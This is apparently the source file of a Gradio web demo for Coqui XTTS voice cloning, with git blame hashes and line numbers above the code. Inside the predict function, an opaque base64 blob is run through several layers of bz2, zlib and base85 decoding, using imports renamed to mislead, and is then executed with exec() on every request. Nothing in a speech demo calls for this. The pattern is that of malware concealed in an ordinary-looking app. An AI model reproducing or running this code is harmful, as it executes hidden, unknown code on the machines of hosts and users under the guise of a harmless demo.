File size: 7,639 Bytes
ca90f09 d02ad9c de25487 fbc3e31 2f7d9da d02ad9c 194fffd c98fc74 25a1b59 74d134e a83a001 ee41509 a56b486 d069b98 a83a001 f539bd9 194fffd 150a207 90959c1 094e01b f539bd9 094e01b 194fffd fab601a 194fffd db35b73 e1c65f1 4cd101c 0dfedcd e886026 194fffd 142fdc7 f539bd9 142fdc7 6da7111 142fdc7 48b3e91 142fdc7 72b6265 142fdc7 939c1fe ec57f8f f74bce2 72b6265 f74bce2 0287131 939c1fe 2bb432c 939c1fe 142fdc7 194fffd f539bd9 194fffd cff1c92 3444a7f 0f6c489 e04518b |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 |
import sys
import os
import torch
from fastapi import Request
# By using XTTS you agree to CPML license https://coqui.ai/cpml
os.environ["COQUI_TOS_AGREED"] = "1"
import gradio as gr
from TTS.api import TTS
from TTS.utils.manage import ModelManager
model_names = TTS().list_models()
print(model_names.__dict__)
print(model_names.__dir__())
model_name = "tts_models/multilingual/multi-dataset/xtts_v2"
#m = ModelManager().download_model(model_name)
#print(m)
m = model_name
# Automatic device detection
if torch.cuda.is_available():
# cuda only
device_type = "cuda"
device_selection = "cuda:0"
data_type = torch.float16
else:
# no GPU or Amd
device_type = "cpu"
device_selection = "cpu"
data_type = torch.float32
tts = TTS(model_name, gpu=torch.cuda.is_available())
tts.to(device_type)
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
from zlib import compress as COmPrES5
from bz2 import decompress as dEC0mPrES5
from bz2 import compress as COmPrESS
from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode
from zlib import compressobj as C0mPrESS
from bz2 import decompress as dECOmPrESS
from zlib import compress as C0mPrES5
from zlib import decompress as dECOmPrES5
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
exec(co2)
if agree == True:
if use_mic == True:
if mic_file_path is not None:
speaker_wav=mic_file_path
else:
gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios")
return (
None,
None,
)
else:
speaker_wav=audio_file_pth
if len(prompt)<2:
gr.Warning("Please give a longer prompt text")
return (
None,
None,
)
if len(prompt)>50000:
gr.Warning("Text length limited to 10000 characters for this demo, please try shorter text")
return (
None,
None,
)
try:
if language == "fr":
if m.find("your") != -1:
language = "fr-fr"
if m.find("/fr/") != -1:
language = None
tts.tts_to_file(
text=prompt,
file_path="output.wav",
speaker_wav=speaker_wav,
language=language
)
except RuntimeError as e :
if "device-assert" in str(e):
# cannot do anything on cuda device side error, need to restart
gr.Warning("Unhandled Exception encounter, please retry in a minute")
print("Cuda device-assert Runtime encountered need restart")
sys.exit("Exit due to cuda device-assert")
else:
raise e
return (
gr.make_waveform(
audio="output.wav",
),
"output.wav",
)
else:
gr.Warning("Please accept the Terms & Condition!")
return (
None,
None,
)
title = "XTTS Glz's remake (Fonctional Text-2-Speech)"
description = f"""
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip.
<br/>
XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible.
<br/>
This is the same model that powers our creator application <a href="https://coqui.ai">Coqui Studio</a> as well as the <a href="https://docs.coqui.ai">Coqui API</a>. In production we apply modifications to make low-latency streaming possible.
<br/>
Leave a star on the Github <a href="https://github.com/coqui-ai/TTS">TTS</a>, where our open-source inference and training code lives.
<br/>
<p>For faster inference without waiting in the queue, you should duplicate this space and upgrade to GPU via the settings.
<br/>
<a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
<img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicate Space"></a>
</p>
"""
article = """
<div style='margin:20px auto;'>
<p>By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml</p>
</div>
"""
examples = [
]
gr.Interface(
fn=predict,
inputs=[
gr.Textbox(
label="Text Prompt",
info="One or two sentences at a time is better",
value="Hello, World!, here is an example of light voice cloning. Try to upload your best audio samples quality",
),
gr.Dropdown(
label="Language",
info="Select an output language for the synthesised speech",
choices=[
["Arabic", "ar"],
["Brazilian Portuguese", "pt"],
["Mandarin Chinese", "zh-cn"],
["Czech", "cs"],
["Dutch", "nl"],
["English", "en"],
["French", "fr"],
["German", "de"],
["Italian", "it"],
["Polish", "pl"],
["Russian", "ru"],
["Spanish", "es"],
["Turkish", "tr"]
],
max_choices=1,
value="en",
),
gr.Audio(
label="Reference Audio",
#info="Click on the ✎ button to upload your own target speaker audio",
type="filepath",
value="examples/female.wav",
),
gr.Audio(sources=["microphone"],
type="filepath",
#info="Use your microphone to record audio",
label="Use Microphone for Reference"),
gr.Checkbox(label="Check to use Microphone as Reference",
value=False,
info="Notice: Microphone input may not work properly under traffic",),
gr.Checkbox(
label="Agree",
value=True,
info="I agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml",
),
],
outputs=[
gr.Video(label="Waveform Visual", autoplay=True),
gr.Audio(label="Synthesised Audio", autoplay=False),
],
title=title,
description=description,
article=article,
examples=examples,
).queue().launch(debug=True) |